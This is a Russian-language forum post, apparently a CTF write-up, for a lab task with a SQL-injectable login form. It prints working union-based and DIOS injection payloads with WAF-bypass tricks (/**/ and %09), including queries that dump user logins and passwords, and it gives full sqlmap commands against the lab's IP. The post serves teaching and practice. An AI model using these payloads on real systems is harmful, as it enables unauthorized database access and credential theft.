ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   WriteUp по таску Базовая Авторизация 2 (https://forum.antichat.xyz/showthread.php?t=1642679)

vov4ick 01.12.2023 15:52

Приветствую форумчан и любителей поиграть в CTF на Antichat.games
Сегодня я разберу таск Базовая Авторизация 2. Решил я его разобрать по полочкам, и показать как это можно сделать. По данному таску, я не увидел решений.
У D3L1F3R на ютуб канале Я увидел как он получает флаг в этом задании, но разбора и какого то большого смысла я не увидел в этом(не в обиду сказано).
По этому беремся и решаем =)

https://forum.antichat.xyz/attachmen...7c455e9b58.png

Заходим на сайт , тестовые креды приложены в описании таска , это test test пробуем:

https://forum.antichat.xyz/attachmen...9d75079c51.png

Конечно мы любим SqlInjection и проверяем это.
Сначала нам нужно проверить какое поле уязвимо, а это поле login скажу сразу. Как я понял? да на аккаунт можно попасть и без пароля. Вводишь логин и ты уже User ID 1 =) Скорее всего отсутствует проверка пароля.

Дальше мы пробуем самый обычный Union Based Injection:
Добавим ложное условие

test'AND false UNION SELECT 1,2-- -

Видим что стоит фильтрация и нам нужно найти в чем загвостка.

https://forum.antichat.xyz/attachmen...be60a77827.png

Можно конечно перебирать UNION И SELECT , но мы пробуем сразу подставить /**/ вместо пробелов, что мы видим:
Пропала плашка с WAF, но проблемка еще есть.

https://forum.antichat.xyz/attachmen...5bef2b3ef3.png

В качестве обхода пробельных символов могут срабатывать разные варианты.
В конце запроса у нас --+- вот этот + нам нужно как то заменить. И на помощь нам приходит %09 комбинация.

https://forum.antichat.xyz/attachmen...038f6ddcc1.png

Хм опять ничего... Пробуем добавить количество колонок:

Ура инфа появилась =) Мы подобрали ключик, теперь попробуем какая колонка выводит информацию.

https://forum.antichat.xyz/attachmen...c70a09d017.png

Пробуем первую:
Успешно =)

https://forum.antichat.xyz/attachmen...79806d3ec1.png

Если мы видим что работает Union , пробуем Dios технику , сейчас будет магия как вывести много чего интересного одним запросом:

'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(information_schema.columns)/**/where/**/table_schema!='information_schema'and(@a)/**/in/**/
(@a:=concat(@a,table_schema,'-->',table_name,'-->',column_name,'
'))))a),2,3--%09-
https://forum.antichat.xyz/attachmen...8e4f9da205.png

Здесь у нас идет название базы , таблицы и колонки которые имеются . Мы понимаем что скорее всего нам нужна таблица flags и колонка flag так и есть,
но мы пройдемся по всему.
Пробуем извлечь данные из колонок:

'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(data.users)/**/where/**/(@a)/**/in/**/(@a:=concat(@a,'',login,'','-->','',password,'','
'))))a),2,3--%09-

Если обратить внимание на запрос, то мы понимаем, что извлекаем колонки login и password из таблицы users , вот в принципе и наши тестовые креды:

https://forum.antichat.xyz/attachmen...2090446cac.png

Попробуем вывести наш флаг:

'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(data.flags)/**/where/**/(@a)/**/in/**/(@a:=concat(@a,'',flag,'','
'))))a),2,3--%09-

Мы успешно извлекли наш флаг (^-^) и довольные идем сдавать его.

https://forum.antichat.xyz/attachmen...ddd61ab98c.png

Думали это все? нет.

Сейчас я покажу как это можно раскрутить с помощью всеми любимым SQLMAP.

Сначала я начал решать его с помощью этого инструмента, но была ошибка. После я полез и разобрался с ним в ручную засучив рукава. Я понял что фильтруемся и какой тампер нужен. Пробуем:
В данной нагрузке есть такие ограничения по количеству запросов, так же указан space2comment , как раз таки он заменяет пробелы на /**/ .

sqlmap -u 'http://62.173.140.174:16015/user.php?login=test&password=test' --tamper='space2comment' --current-db --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch

С начала мы извлекаем название базы данных

https://forum.antichat.xyz/attachmen...773031769f.png

https://forum.antichat.xyz/attachmen...4bb3021fc9.png

Далее мы извлекаем таблицы:

sqlmap -u 'http://62.173.140.174:16015/user.php?login=test&password=test' --tamper='space2comment' -D data --tables --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch

https://forum.antichat.xyz/attachmen...da7ac4c6b6.png

Успешно, далее извлекаем колонки:

sqlmap -u 'http://62.173.140.174:16015/user.php?login=test&password=test' --tamper='space2comment' -D data -T flags --columns --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch

https://forum.antichat.xyz/attachmen...6791018ada.png

Финальное извлечение всего остального:

sqlmap -u 'http://62.173.140.174:16015/user.php?login=test&password=test' --tamper='space2comment' --dump --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch

https://forum.antichat.xyz/attachmen...36cdce43e0.png

В принципе, все. Мы проделали большую работу и мы молодцы, задание оказалось интересным и были моменты где нужно было подумать.
Надеюсь это будет полезно, не в этом задании так в другом. Я старался рассказать прям совсем подробно, чтобы было понимание. SqlMap сила в правильных руках,
но сам по себе он работать не будет. Всем удачи и спасибо за внимание.


Время: 01:25